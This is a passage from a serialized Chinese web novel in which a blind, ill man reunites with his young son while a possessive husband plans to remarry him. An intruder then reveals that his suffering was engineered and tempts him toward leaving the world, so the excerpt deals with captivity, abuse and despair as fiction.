长春春陡然生出一股无力感,他索性别开眼睛,“其实,你的心思我都知道,妈咪怎么可能不知道。”
“他是个很有自己原则的人,爸爸让妈咪怀孕有了我,就是为了让妈咪全身心照顾家庭,他怎么可能不知道呢。”
“妈咪经历过那些,他怎么可能不知道呢……”
……
车子缓缓开入了别墅内,长春春抬眼,看着这近乎一模一样的房子,尤其是在落地窗的时候,他微微愣了一下,就好像妈咪抱着小小的他在落地窗前等着爸爸的日子就在前不久。
长春春自己打开了车门,缓慢地走了下来。
在打开那扇门的时候,他的心脏是紧绷的。
余赋秋没有睡着,他睁着那双无神的眼睛看着天花板,对时间的感知越来越迟钝,怀中抱着的依旧是昨晚的那件大衣。
门被吱呀一声开了。
余赋秋瞎了之后,其他感官敏锐了起来,他早就听到了车子回来的声音,只是一直没有反应而已。
长庭知的脚步顿了一下,走到了余赋秋的床边。
他不敢触碰余赋秋,昨晚余赋秋对他的抗拒让他的手僵在半空,随后一双小手扶起了余赋秋。
“猜猜我是谁!”长春春奶声奶气地声音在余赋秋的耳边响起。
余赋秋眼睛一眨,感知着那双小小的双手。
“春……春?”
“答对啦妈咪!给妈咪一个奖励!”
长春春脱下寒气的外套,慢慢地爬上了床,在余赋秋的侧脸亲了一大口,然后亲昵地把头埋在他的脖颈里面,手缠绕着余赋秋的长发。
他太久没有触碰自己的妈咪了。
妈咪去福利院碰到沈爸爸的时候,被暴怒的爸爸发现了,在那之后,妈咪就被带走了,他一直没能机会见到妈咪。
可是为什么……
现在的妈咪,看不见他了?
余赋秋慢慢抬起眼,漆黑的眼里倒映出长春春的模样。
他抽搐了一下,伸出手想要触摸长春春的五官,慢慢地摸索着。
“春春,让妈妈摸摸你。”
长春春把自己的脸颊贴在余赋秋的手掌心,“春春,在这哦。”
余赋秋抚摸着长春春的面容,他的指尖轻轻颤抖,触及到温热肌肤的时候,他才有了实感。
是他的春春。
春春九岁了吧。
现在长什么样子?
胖了还是瘦了?
多高了?
他还能……看到春春吗?
没关系,这样就好,陪在春春身边就好。
“如假包换的春春哦,妈咪。”
泪水从余赋秋的脸颊上落了下来,像是枯木逢春,他苍白的脸上露出一抹笑容,他长长地松了一口气,“嗯,是妈咪的春春。”
长春春站了起来,他让余赋秋摸着自己直起来的双腿,感受着肌肉的收缩,余赋秋的呼吸一窒。
“妈咪,不要一直自责,春春现在复健的很好,都可以运动了,你看我小腿肌肉的力量。”
“很棒,春春真的很棒,是妈咪的骄傲。”
余赋秋仰起头,他虚虚地抱着长春春,“前面都是妈咪的错,如果不是妈咪……”
如果不是他硬是要去对抗剧情,春春或许就不会被柯祈安盯上,也许就不会双腿残疾,也就不会经历这些了吧。
“不是的妈咪。”
长春春坐了起来,又亲了亲余赋秋的侧脸,把脸搭在他的胸口,听着心脏的跳动。
“只要在妈咪的身边,就是春春最幸福的时刻。”
长春春从书包里掏出了一本故事书,“爸爸给春春请了家教老师,春春认识了很多字,今天不给妈咪讲小山羊的故事,全新的故事,全新的开始,给妈咪讲一个小兔子的故事,好不好?”
余赋秋一愣,无限的心酸蔓延了上来,他点点头,“好。”
长春春在读故事书,他刚开始认字,读的很慢,一个字一个字地往外蹦,有时候还会读错,但他读的很认真,每一页都要念完才翻。
余赋秋听的很认真,他有时候会轻拍长春春的背部,鼓励他继续往下读。
就像以前无数个日夜。
“……小兔子说,‘妈妈,我跑得再远,你也会找到我吗?’”
“兔妈妈说,‘不管你跑多远,我都会找到你,因为你是我的小兔子呀。’”
读到最后一句话,长春春长长地舒了一口气,“所以妈咪不管你在那里,春春和爸爸都会找到你,因为你是我的妈妈呀。”
那些遥远的、模糊的、仿佛被时光浸泡得褪了色的记忆,随着长春春稚嫩的声音,一点一点从余赋秋心底的某个角落浮上来。
他看不见,但他能听见——听见那细细的、认真的、偶尔会磕绊一下的读书声,听见翻书时纸张的轻响,听见身边那个小身体偶尔挪动时发出的窸窸窣窣的声音。
他听见了多年前的自己。
那时候春春还很小,小得可以整个抱在怀里。
每天晚上,他也是这样窝在床边,抱着那个温热柔软的小小身体,一字一句地读故事。
读到春春的眼皮开始打架,读到那个小小的脑袋一点一点地往下垂,读到呼吸声慢慢变得均匀绵长。
那时候的长庭知,偶尔也会在门口站着,听一会儿,然后悄悄走开。
或者加班回来太晚,会轻手轻脚地走进来,在他们额头上各落下一个吻。
那是很久很久以前的事了。
久到他以为那些记忆已经被痛苦掩埋,被绝望腐蚀,被时间冲刷得一干二净。
可原来没有。
原来那些东西一直都在,只是埋得太深太深,深到他自己都忘记了。
余赋秋再也忍不住,把孩子抱进自己的怀中,无数次小声地说对不起。
对不起,让你一个人长大。
对不起,没能保护你。
对不起,让你看见妈妈那个样子。
对不起,让你每天小心翼翼地靠近。
对不起,让你等了这么久这么久。
长春春被抱得有些喘不过气,但他没有挣扎。
他反而把余赋秋抱得更紧了一些,小手一下一下地拍着余赋秋的后背,像余赋秋曾经无数次对他做的那样。
“妈咪。”长春春凑近他的耳朵,认真地说道:“如果妈咪不快乐了,不开心了,那么就去做自己想要的事情。”
“春春一直在妈咪的身后。”
“妈咪你知道吗,春春许下的九岁生日愿望是什么吗?”
是——
希望余赋秋永远开心幸福,平安顺遂。
第92章 第92章[VIP]
长春春的到来像是一场及时雨, 给余赋秋予以春天的气息,他的状态比先前好了很多。
只是余赋秋依然睡不着,能稍微吃一点东西, 但吃多了还是会吐出来。
身体上的气色好了一些, 精神状态也不会和以往一样半夜大喊大叫。
只是他从抱着的大衣变成了长春春怀中的那个小玩偶,玩偶的耳朵歪歪斜斜地被缝了起来。
余赋秋情绪失控的时候会把脑袋埋在玩偶中,似乎在疯狂汲取着谁残留在上面的气息。
他们仿佛回到了以前, 长春春陪伴在他的身边,但哪里又好像不一样了。
午后的阳光懒洋洋地洒在屋子后院的草坪上,带着春末特有的暖意。
余赋秋坐在长椅子上, 膝盖上搭着一条浅灰色的薄毯, 漂亮却苍白的容颜,鼻翼微微翕合, 琥珀色的眸子半眯着, 长而卷翘的睫毛在白皙的肌肤上透落一地的阴影。
长春春蹲在天气脚边的草地上,正认真地用小手扒拉着什么。
“妈咪!你看!”长春春抬起头,小手举着一朵刚冒出头的花朵,献给了余赋秋:“爸爸种的花儿,开啦!”
“是妈咪喜欢的蓝色, 嘿嘿。”
余赋秋看不见, 但他的心脏像是被什么轻轻撞了一下, 伸出手,摸了摸长春春柔软的发顶,嘴角微微扯出一个上扬的弧度。
“嗯……好看的。”
阳光倾洒在两个人的身上, 这幅画面太过美好, 忍不住让人屏住呼吸,生怕惊动了这幅美好的画面。
余赋秋缓缓抬起手, 让阳光透过缝隙洒在脸上,久违的温暖,让他有些恍惚。
“余先生。”
突然,身边有个动静,他下意识地望着声音源头。
长春春停下了拔草的动作,看着来人。
“长先生让我把小少爷带去书房,有事情和他说。”
那个人的声音似乎有些耳熟,但余赋秋的大脑在药物的作用下,能思考的范围实在有限,他睁着那双眼睛。
良久才点了点头。
“妈咪,那春春先去,你在这里等我哦。”
余赋秋坐在长椅上,他已经习惯这种一个人呆在空间里愣神的日子了。
“余先生,长先生让我们给您量尺寸。”
长庭知对余赋秋的日常几乎是亲力亲为,在每个季度,都会给他量身定制不同的衣服。
明明苦日子都过来了,这样子做又给谁看呢?
余赋秋没有动静。
量衣服的工作人员早就听说过长庭知找回了妻子。
他只在电视上看过余赋秋,从没见过真人。
这是他第一次见到余赋秋,美人低垂着脑袋,眼神茫然,漂亮得如同一个琥珀,长发柔顺地垂落在身侧。
他忽然明白了,为什么长庭知找回了妻子后,却从没公开过余赋秋的近况。
市面上能找到的都是三年前余赋秋的照片。
那些照片体现不出面前青年十分之一的美。
工作人员良久才回过神,他发现自己看的时间太久了,也许是眼神太过灼热,余赋秋疑惑地抬起头,下一秒和他对视了。
在那双眼里看到自己的影子,那瞬间,无数阴暗暴虐的想法从心底喷涌而至,他想要把眼前这个人占为己有。
但也只有一瞬。
他怎么敢和长庭知竞争,那简直是不要命了。
“来吧。”
美人轻声说,温柔的声音如同四月的春风,拂去人心中所有的繁琐。
“好,好的。”
工作人员听见自己咕咚吞咽口水的声音,小心翼翼地上手,在他靠近余赋秋的时候,一股好闻的味道扑面而来,他差点晃神。
好不容易量完了,他已经晕头转向,“余,余先生,我,我和长先生报备下。”
余赋秋没有应声,他乖巧地坐在椅子上,还维持着量身体的姿势。
余赋秋察觉到身旁还有人,“还有什么事情吗?”
“余赋秋。”
一道声音在他的耳边响起,跟在设计师旁边的工作人员,摘下了他的帽子,只能听到风吹摇曳的声音。
“我想你应该记得我。”
“施铜。”施铜看着余赋秋的模样,手臂上密密麻麻的针孔,那双无神的眼睛,他的语气里带上了幸灾乐祸:“我还以为你过得很好。”
“眼睛瞎了,腿瘸了……”他发出一声讥讽的笑声:“小安便成为如今这样,全都是你的错。”
他越靠近越看清这张脸,就越恨,要不是因为这张脸,小安怎会如此自卑?在过去几年一直疯狂地整容,只为了能让自己更像余赋秋,能和长庭知在一起。
余赋秋神色没有一点波澜,柯祈安变成如今这样,和他有什么关系。
“当初你本该死在那场木屋雪山之中才对!你本来就是剧情出现的bug。”
余赋秋的眼睫毛轻轻颤抖了一下,这才抬眼看着施铜。
“你怎么……会知道。”
“你以为你来这个世界,是偶然?”
余赋秋想起左成双给他看的视频中,柯祈安入狱前对着镜头说的那些话。
“不不不,全都是长庭知的手笔。”
“他和系统做了一个交易,把你带来这个世界,你没有觉得很多事情都很相似吗?”
施铜的声音仿佛带着魔咒,那些梦中剧情的点点滴滴全然出现在他的面前。
那么多小说的结局,最后都是长庭知和柯祈安在一起,而他从局外人变成了局中人。
“你真是可怜啊,”施铜嘲笑道:“世界的时间线已经开始了好几次。”
“是,我们所在的世界就是个小说,但偏偏长庭知有了自我意识,他爱上了你,爱上了看书的你。”
从施铜的口中,他得知了一个不一样的真相。
他本该有个幸福的家庭,不存在强,奸,不存在抛弃,也不存在殴打。
他的出生是父母爱的产物,他是在全家的期盼中出生,而并不是罪恶的产物。
他在某一天看了这本书,偏偏书中的主角攻觉醒了自我意识,察觉到有外围的世界,并且爱上了身为读者的他。
他以一个其他者的视角,看完了余赋秋的生活。
然后,在长庭知差点杀了主角受的时候、逼得系统出现,和系统做了一个交易。
颠覆了余赋秋所有的生活。
他要余赋秋爱上他,他要拉余赋秋下水,拉入无尽的泥潭,然后他在现身,成为余赋秋的救世主。
所以余赋秋的人生被偷走了,他成为罪恶的产物,被卖入精神病院,那些买卖余赋秋的客人全都是长庭知。
在那间冰冷地下室的人,也全都是长庭知。
所以在余赋秋绝望的时候,长庭知出现了,他把余赋秋带了出来。
他拯救了余赋秋。
而长庭知和系统做的交易是——
身为虐文主角受全部的伤害都被赋予余赋秋的身上。
他代替柯祈安成为了这本虐文的主角受。
而原本的长庭知也全都知道,他也很早知道自己体内存在的第二个人格。
所以他在那个落雨小巷子中,出现了余赋秋的面前,仰起脸,抓住了余赋秋的衣角。
把这个人彻底的融入自己的生命中。
他就是要在余赋秋的生命中刻印下永远抹去不掉的痕迹,让余赋秋深刻的爱上他。
而第二个长庭知出现,就是要折断余赋秋所有的退路,彻底让余赋秋离不开他。
余赋秋紧攥着衣角的手僵在了原地。
他一直以为自己的出生是个错误的选择,周围所有的人都在告诉他,如果不是因为他,他妈妈的人生就不会如此的悲催,如果不是因为他,他就不会成为拖累妈妈,把妈妈带入无间地狱的人。
如果不是因为他,长庭知可以少受很多苦,根本就不用和他一起挤在二十间的床铺,根本就不用蜗居在地下室,如果不是因为他,长春春根本不会双腿残疾。
但是现在有人和他说,他其实是被期待着出生的。
他的爸爸妈妈是期待他出生的。
施铜看着余赋秋逐渐苍白的神色,心中却没有丝毫的快意,这是他去见了柯祈安,柯祈安告诉他,只有这么说,才能帮他报仇。
……
原来他,本来是可以不用受那些苦的吗?
想起自己为了凑足上学的学费,起早贪黑从十几公里的山路爬起来然后去镇上卖报纸,穿着破旧的棉袄也不敢停下脚步,因为他要读书,他要走出大山;想起自己被父母殴打,也蜷缩着不敢还手,在和大黄抢吃食,只为了自己能不饿着肚子;他以为母亲被接走了,自己可以吃饱穿暖了,可是最后依然是被抛弃在大雪纷飞的路途之中。
他害怕黑暗、害怕挨饿,他已经变得很懂事了,很乖了。
原来,这一切,他其实可以不用经历的吗?
回想着长庭知的种种,他还奇怪,短短两年过去了,怎么长庭知忽然来找他了,怎么就这么爱上他了。
原来是这样的吗?
他还是想把他困在身边,连他最后的人生都不放过?
施铜没听清余赋秋说的话,他慢慢上前才听清了余赋秋的话。
余赋秋喃喃自语:“柯祈安说得对,遇到你,真的是万劫不复。”
他代替了柯祈安成为了虐文的主角,所以全部的伤害都被他承担了。
从来没有人问他是不是愿意,没有人。
他的手慢慢抬了起来,在心脏的部位紧紧捏着,呼吸急促起来,豆大的汗滴落了下来,剧烈的疼痛带来绝对的清醒。
长春春都是长庭知来困住他的手段。
他总要在最后的时间,为自己博取一点点哪怕只有片刻喘息的空间。
他抬起那双无神的眼睛,问:“你费尽心思潜入这里,不仅仅是为了和我说这个吧。”
施铜微微笑道:“是的,我们需要玩个游戏。”
“玩一个,二选一的游戏。”
作者有话说:
大家除夕快乐!
明天不更新哦,明天下班回来就要十二点多啦!
今天聚餐,下班就十一点多了
提前祝大家新年快乐,平安顺遂,暴富暴富暴富!!
第93章 第93章[VIP]
“长总, 这份文件签署的……”
秘书斟酌再三,还是把文件的签署递给了长庭知,最近几天, 总裁的状态又好像回到了以前的那个样子。
总裁有个前妻, 大家都知道他们之间的恩爱纠葛,这两年,秘书一直跟在长庭知的身后, 长庭知近乎是变了一个人,像个机器人,丝毫不知疲倦, 全年几乎都呆在办公室。
他过去两年最常做的就是去别墅给总裁的孩子送一些复健用的东西, 他早知道总裁有孩子,但没见过这个孩子。
他第一眼见到这个孩子的时候, 长相漂亮精致, 简直就是画中走出来的小仙童。
但这个孩子和总裁几乎一样,阴郁,不爱说话,面色苍白,双腿残疾, 小小的身子坐在偌大的轮椅上, 看见陌生人进来会尖叫着往回退, 摔倒在地上。
去的次数多了,秘书才发现孩子的手中总是抱着一只已经变得破旧的小熊。
总裁似乎很少来看这个孩子,如果在过去两年, 总裁将名下大部分的财产转移到这个孩子的名下, 秘书以为总裁都忘记了这个孩子的存在。
但自从一个冬天过去后,总裁似乎变了一个人, 他开始变得鲜活,变的有人情味道,甚至脸上都有了笑容。
他说他找回了他的爱人。
他的爱人?
秘书在春天到来后,去了总裁的家里,发现了那个貌为惊人的青年。
他才发觉,总裁说的爱人就是他的前妻。
不,不对,不是前妻。
上次有个合作商失口说了这个,总裁虽然表面没什么变化,但事后那个合作商所有的合作都被终止,如今已经到了结算破产的阶段。
总裁说他们没有离婚。
他有自己的孩子,他有自己的妻子。
他家庭和睦。
让所有想要给他介绍女儿/儿子的人望而却步。
长庭知愣愣看着这张文件。
他发觉自己的记忆有片刻的断落,这份文件不是他的签名。
秘书也发现了,总裁的字是凌厉,而这份文件上的字却是柔和。
长庭知的心中诡异地升起了一个念头,他揉了揉眉心,“没什么,只是我最近太累了,我重新签署下。”
他签完文件,点燃了一支香烟。
自从春春回来了后,余赋秋变的很黏他。
他们仿佛又回到了以前,他抱着春春,在客厅那扇大的落地窗前,开着一扇小灯光,等着他的回来。
只要听到他车子发动的声音,两张小脸就会贴在玻璃窗前,眼神亮亮的看着他。
在长庭知打开门的瞬间,一道温热的身影就会扑进他的怀中,毛茸茸的脑袋拱在他的脖颈间,余赋秋抬起脑袋,也不顾长春春在场,垫着脚尖就在他的唇边落下一个温柔的吻。
他有时候回来晚了,长庭知走到门口下意识的抬头看落地窗,那里依旧会有一盏小灯,他轻手轻脚打开门,看见的是余赋秋安静地睡颜。
脸颊塌陷在沙发一边,蜷缩着身体,怀中抱着那件风衣。
他们明明都回到了以前的模样。
现在的余赋秋满心满眼都是他,他也不会想着再往外跑了,即使不锁着,余赋秋也会乖乖地呆在他的身边,晚上睡觉的时候乖巧地躺在他的怀中。
但长庭知总会半夜惊醒,总会梦到两年前吞噬余赋秋的那场大火,总是会梦见姐姐冷着脸,把余赋秋的骨灰洒在他的身上,冷声问他是不是满足了。
他只有不断地亲吻余赋秋,不断地在他的身上留下自己的痕迹,他们身体交融,在余赋秋体内感受到自己,他才会从那种惊恐感中找到了实感。
有什么东西是能让他们再次捆绑的?
让别人知道,余赋秋是他的?
戒指?
不,不对。
长庭知茫然地抬起头,抽完手中的香烟:“鲍秘,你说……还有什么是能让别人知道他是我的。”
“总裁……什么叫他是您的?”
秘书一头雾水。
“就是……提起他这个名字,看到他这个人,都可以联想到他的另一半。”
总裁这是想官宣了?
秘书下意识地答道:“那不就是结婚证吗?”
结婚证?
长庭知一愣,眼神凝视着秘书,示意他继续往下说。
“您看xx和xxx,他们官宣结婚很久了,孩子都三四个了,大家一提到xx那下意识不就是xxx吗?”
“而且有了结婚证,你们就是法定的伴侣,是最高法律都认可的关系,有什么比这个更有约束力的呢?”
长庭知眼神越来越亮。
对啊,结婚证。
因为在过去两年,他一直没找到余赋秋,余赋秋失踪超过了两年,更何况褚宝梨那里有余赋秋的“死亡证明”。
所以法院判了他丧偶。
他才发觉,自己原来已经和余赋秋没有关系了。
更何况,他们之前的结婚证,是长庭知和他拍的。
不是他。
不是他。
不能这样。
怎么可以这样呢?
长庭知嘴角微微勾起。
“对啊,就是结婚证”
“只要法律认可了我们,还有谁能阻止我们,拆散我们呢?”
他没有签署离婚协议书,就是不作数的。
长庭知抽完了一支烟,又重新点燃了一只。
褚宝梨和其他人的话全在他的脑海中重新浮现出来。
可是,一张结婚证,真的可以让他们回到之前吗?
其实那个答案呼之欲出,但是长庭知下意识的逃避了,修长的指尖敲击着办公桌,发出清脆的响声,“鲍秘,今年年终奖翻倍。”
秘书愣住,虽然没搞懂老板怎么忽然给他加倍了,他压制住自己上扬的唇角,面色镇静道:“谢谢老板。”
……
长春春在书房里,并没有找到长庭知的身影,他缓慢地扶着栏杆一步一步上前走的时候,推开房门,却只看到一片空白的时候。
他忽然发觉到了什么。
爸爸的占有欲这么强,自从妈咪回来后,除了医生和保姆,不可能有任何人过来,更别提设计师了。
等等——!
他眼睛尖锐地看见了书房最中央的桌子上放着一张银行卡。
他想到了在那天的傍晚,夕阳把房子的院子染成一片温柔的橘红色。
余赋秋安静地坐在花园里的长椅下,这是他被允许出去后最经常呆的地方,长春春每次复健结束后,都会来这里寻找余赋秋。
“温叔叔不亏是左叔叔的师弟,春春的腿感觉好了很多了,妈咪。”他丢掉拐杖,在余赋秋的面前绕着花园的石子路走了好几圈。
他终于又能感受到自己双腿肌肉的力量,而不是和过去两年一样,他的双腿只能无力地垂落在地上,他想要前进,只能匍匐着身体往前爬,他感受不到双腿的存在。
余赋秋静静地看着长春春,长春春已经九岁了,眉眼渐渐长开,依稀可以看出余赋秋年少时候的轮廓,但那双眼睛像极了长庭知——深邃、专注、笑起来眼尾上扬。
“春春。”
余赋秋看着他,伸出手,轻轻拂过儿子的脸颊,那触感温热而温柔,是他在这所房子里面唯一感受的温暖,唯一可以暂时喘息的时候。
落日的余晖照在了余赋秋的脸上,为他漂亮的面容镀上了一层柔和的光辉,那双眼里的温柔似乎都要溢满了出来,里头清晰地照耀出长春春的身影。
他看着长春春围绕小石子路走一圈,再走一圈,期间有踉跄,但他始终没有动,只是那双眼睛紧紧围绕着长春春的身影。
“妈咪!”听见余赋秋在喊他,长春春兴奋地从另一头跑过去,小脸上出了薄汗,红扑扑的,他小心翼翼地蹲在余赋秋的面前,小手搭在他的双膝上。
余赋秋伸出手,将他鬓角的汗一一抚摸过去,感受着肌肤的温度:“嗯,很厉害。”
“辛苦了,宝贝。”
他喊出这两个字的时候,长春春愣了一下,随即低下了头,揉了揉眼睛,“没事哒!春春要成长为男子汉,为了更好的保护妈咪!”
“春春会比爸爸更加厉害的!”
“还有妈咪……”长春春抿了抿唇,忽而小心翼翼地抬头,“春春那时候什么也不记得了,好像有坏人在控制春春,春春没有认其其他人为妈咪,春春的妈咪永远只有你。”
余赋秋一愣,想起了在长春春受到伤害变痴呆的时候,喊柯祈安为妈咪,反而一看到他就害怕的瑟瑟发抖。
这也是……剧情的控制?
但不得不承认,长春春跟在长庭知的身边,确实比他身边要好。
那种情况下,他自己的身体衰竭,精神状态要维持吃着药物才勉强维持着神智,沈昭铭更是大笔大笔的钱往里面砸,才堪堪维持余赋秋的生命。
他名声尽毁,名下的资产尽数被冻结,这样的他,连自己都养不活,怎么能照顾好长春春呢?
长庭知随意开口一个数字,就可以把长春春照顾的很好,给长春春最好的治疗。
但余赋秋从养了长庭知开始,就给长庭知存了一张卡,每年会定期往里面攒钱,这原本是给他娶妻生子的钱,但自从长春春出生之后,他就把这张卡作为长春春以后的财产了。
“妈咪不在乎那些了……”余赋秋轻叹一声,指尖揉了揉长春春的乌发:“只要你健康平安,没什么比这个更重要的了。”
“妈咪。”长春春仰起头,眼睛亮亮的,“只要一直呆在妈咪的身边,我就是最幸福的小孩。”
余赋秋的动作顿了顿,手指从春春的发滑倒了脸颊,轻轻地揉着他的眼尾,阳光从他们的身上缓慢移动,把影子拉的很长。
“妈咪……想和你说一些话。”
长春春眨了眨眼,有些疑惑,但还是乖乖地点了点头:“好。”
余赋秋看着他,心里泛着一阵阵钝痛,春春太小了,他才九岁,不懂什么是永远,不懂什么是离别。
他从兜里掏出了一张银行卡,递给了长春春:“春春,这是你出生开始,妈咪就给你攒的钱,以后每年也会按时打进来,密码是你的生日……”
“你不要害怕,也不要担心。”
余赋秋没有错过长春春眼底那股惶恐和慌张,长春春趴在他的膝盖上,怔怔地看着余赋秋的动作。
“里面也有很多哥哥姐姐叔叔阿姨给你的压岁钱,妈咪只是……提起把它交给了你。”
“春春也是大孩子了,大孩子也有支配自己宝库的权力了。”
“妈咪,不……”
长春春喉头哽咽着,心中骤然升起一股不安的感觉。
但余赋秋只是笑着揉了揉他的眉心:“以前一直拉着妈咪裤脚的孩子,现在也长这么大了。”
“很抱歉,没有经过你的同意就把你带到这个世界上,你变成这样,也是我的错……”
“你小时候那么喜欢奔跑,去捉小鸟,去感受大自然,如果不是因为妈咪,你就不用这么痛苦地过这两年,不用痛苦地去接受这一切……”
“小时候没能好好的陪伴你,对不起,春春。”
“以前的你小小一只,刚出生都没妈咪的小臂大,妈咪错过了你很多的成长时刻,对不起。”
“看着你蹒跚学步到拽着我的衣角喊妈咪,从每晚都要撒娇讲小山羊的故事……至今都没有再次给你讲完一遍小山羊的故事,对不起。”
“春春……妈咪真的……好想看着你长大啊。”
“陪着你一点点长大,就是我生命里最幸福的事情。”
“想看你青春期的叛逆,想听你去分享初中高中乃至大学甚至以后工作上的事情。”
“想看你慢慢成长为温柔又勇敢的大人。”
想看你遇到相爱的人,想看你的孩子又是长什么样子。
我真的……好想陪伴你长大。
余赋秋摸着心脏,那里传来阵阵的疼痛。
“以后……”余赋秋笑着开口:“如果妈咪不在了,你也要好好照顾自己。”
“记得按时吃饭,不要挑食,天冷了要多穿衣服,不能只要风度不要温度,晚上睡前要记得刷牙,不然会有蛀牙。”
“还有。”余赋秋轻轻握住他的手,那小手温热而柔软,让他舍不得放开:“妈咪不奢求你读书多用功,也不用只考第一名,要学会做人,要善良,要诚实,要对得起自己的心。”
“如果遇到了喜欢的人,要学会爱TA,尊重TA,把他当作生命的唯一,好好对TA。”
“最重要的一点是——”
“妈咪最大的愿望就是希望春春可以做一个自由随性、平安顺遂的普通人。”
“每天开开心心、吃饱饭,睡好觉,这就够了。”
“如果妈咪不在你身边了,你想念妈咪了……”
余赋秋喉咙紧了紧,停顿了一下,才继续往下说,“妈咪其实是变成了天上的星星,在天边看着你。”
“这样你就不会害怕了,春春会知道,无论你在那里,只要抬头,就能看见妈咪。”
长春春的眼泪无措地掉落了下来,他趴在余赋秋的双膝之间,“妈咪,你为什么要说这些,你是不是又要走了,又要抛弃春春了?”
余赋秋的子心脏像是被什么东西狠狠攥住,疼得几乎无法呼吸,他低头,把脸埋在长春春小小的肩膀上,抱紧这个小小的身躯,“不是……”
他的声音带着压抑的颤抖:“妈咪怎么会不要春春呢。”
只是——
只是他不知道,自己还能撑多久。
“妈咪只是怕,怕妈咪太累了,会不小心睡觉,睡得很久。”
“那我就不睡觉!”春春抽噎着说,“我陪着妈咪!妈咪不睡,我也不睡!”
余赋秋被他天真的话逗笑了,笑容里却满是苦涩。
他摇了摇头:“傻孩子,怎么能不睡觉呢?你要好好睡觉,才能长高,才能长大。”
他顿了顿,把春春重新拥进怀里,下巴抵在他小小的发顶。
“春春要好好长大。”他的声音很轻,像是喃喃自语,又像是祈祷,“要长成一个顶天立地的男子汉。要去看妈咪没看过的风景,要去过妈咪没过上的好日子。”
至少要替妈咪好好活着。
因为妈咪真的很想……陪你长大。
第94章 第94章[VIP]
“宝宝, 看看妈妈。”
余赋秋只感觉自己身处在黑暗之中,周围伸手不见五指,静的可以听见自己的心跳声, 一声一声, 缓慢而沉重。
整个世界都睡着了,只有他还醒着。
不,也不是醒着。
只是存在着。
他只是存在着。
忽然, 寂静的黑暗中响起这道温柔的女声。
余赋秋慢慢地抬眼,这是他失明之后,第一次看见了光亮, 很刺眼, 他下意识地想要闭上眼,但对光明的渴求让他反而睁大眼睛。
努力地想要看清眼前女人的面容。
隐约模糊的光线渐渐散去后, 他看清了女人的面容。
只单单一眼, 他的内心就浮现出无尽的依恋。
这是他的母亲。
他们眉目近乎一个模子刻出来的,女人长发柔顺的披散着,她怀中抱着一个婴儿,婴儿睁着漂亮的大眼睛,伸出手, 想要去抓住女人垂落的头发。
女人温柔一笑, 黑色的卷发被婴儿的小手缠绕着, 婴儿咯咯笑着。
“看见妈妈这么开心呀?”女人的鼻尖蹭了蹭婴儿的脸颊,唇角荡漾起一抹笑容。
这时候,一双深厚的大手从身后抱住女人, 稳稳地托住婴儿。
“这孩子, 好像你。”
“他出生在秋天,是我们期待了很久的宝贝。”
“叫赋秋好不好?”
也许是爸爸妈妈的港湾分外的美好, 臂膀大的孩子在睡梦中都发出甜甜的笑意。
那画面逐渐拉长。
余赋秋睁大眼睛,想要去抓住画面中的人,但他最后只抓了一道虚空。
他感受不到时间的流逝,一个人静静地坐在那里,看着画面逐渐的远去。
“你是在爱里出生的,你有爱你的爸爸妈妈。”
施铜的声音回荡在耳边。
“仅仅是因为长庭知的一己之私,他为了走入你的生命,把你留在身边,和系统达成了交易。”
“替换了你的一切,你来到了这个世界,来到了他的身边,相反,剧情所有的发生都要在你的身上。”
“你逃离不了。”
余赋秋崩溃了,他第一次怀疑自己。
在被大火吞噬的时候,他没有怀疑自己。
在被柯祈安伤害的时候,被长庭知冷漠对待,被全网辱骂,名声尽毁的时候,他没有怀疑自己。
在起死回生后,得知自己心脏所剩时间不多,他也没有怀疑自己。
在被长庭知抓了回去,关了起来,双眼失明,腿都瘸了一条的时候,他没有崩溃。
他出生在那样的环境,他自小被虐待长大,他穿越到这个世界,反而以为是上天给他的新生。
听到了他的愿望,给了他一个家,让他有了自己的孩子,让他可以重新开始自己的人生。
可是,现在却被告知,这一切都是有意为之。
他原本就有很幸福的家庭,他有爱他的爸爸妈妈,他不是罪恶的产物。
他,他本来有个幸福的人生。
他后悔了。
当所有联系都被一次性切断的时候,他的理智开始崩塌。
他以为,长庭知真的是想要好好和他过日子。
在过去两年,春春的变化他都知道了。
长庭知的变化他也看在了眼里。
那些深夜无数次辗转反侧,小腿抽筋,黑暗中孤身一人的害怕惊恐,长庭知总是会伸出手把他抱在怀中,驱赶黑暗。
他身心俱疲,看着长春春越来越好的状态,他想,这么和长庭知走下去也未尝不可。
可是施铜无情的揭穿了一切。
这一切都是长庭知赋予他的。
他本可以幸福平安过完一生。
他想到了柯祈安那些恶毒的话语,他说他会万劫不复,他会下地狱的。
余赋秋想,他说的没错。
在他第一眼看见长庭知,把他捡回家,还妄图贪恋长庭知的怀抱,试图把虐文改成甜文的时候,他就要为他的贪婪付出沉重的代价。
如果不是因为他,长春春就不会遭遇双腿残疾的悲剧。
如果不是因为他,剧情或许会顺利的进行下去,他根本不用遭受这些。
这样的他,有什么资格陪伴长春春长大?
有什么资格等待他的小树回来呢?
小树,他的小树。
更何况,他现在是一个连身份资格都没有的人,他的户口被注销了,他一直是一个黑户,十七年的光阴,兜兜转转,还是回到了原始的起点。
施铜揭露了真相,反而让余赋秋内心紧绷的那根弦最后松弛了。
他像是一只要断掉风筝,在悬崖边缘摇摇欲坠,他和世界的联系只有那个很细很细的绳子。
但现在,这根绳子也断了。
温煦和他说过,长庭知彻底融合了两个人格,他的小树再也回不来了。
还说春春的气色一天比一天好,余赋秋虽然看不见,但是每天春春都会来看他,和他说说话,像是春天啼鸣的鸟儿,叽叽喳喳,充斥着生命力。
这就够了,这就够了。
他早已经无法陪伴长春春长大了,只能在有限的时间,能在长春春的记忆中留下更美好的痕迹,就够了。
他希望自己可以把最好看的一面留在长春春的生命中。
他生病的样子一定很丑,还好小树没有看见这样的他。
他和长庭知相差年岁太大了,那时候就应该知道,他们走不到最后的。
只是他妄图一直抓着长庭知,把他留在自己的身边。
他对长庭知,有爱有恨。
恨他毁了自己的人生。
爱他是无法割舍过去十五年的光阴。
如果再来一次,他一定不会在那个雨天,把长庭知带回家。
他会把长庭知还给柯祈安,还给他的主角受。
如果爱上长庭知要遭受这么多苦,放弃这么多的东西。
余赋秋是不愿意的。
他发现自己想起长庭知的时候,想起的却是他们携手走过的春夏秋冬。
这是这些时间汇集了起来,成为一条小河,将他包裹,让他舍不得放手。
可是他已经没有留恋了。
和他携手走过的长庭知已经消失了,长春春他虽然留有遗憾,但更多的是坚信长春春会幸福的成长下去。
“离开吧,离开了,你就可以回去,回到爸爸妈妈的身边了。”
施铜的声音仿佛带着魔力,引诱着余赋秋向前。
余赋秋从来没有想过还可以离开这个世界。
他好累啊。
他想要回到妈妈温暖的怀抱。
他从未有过享受到的。
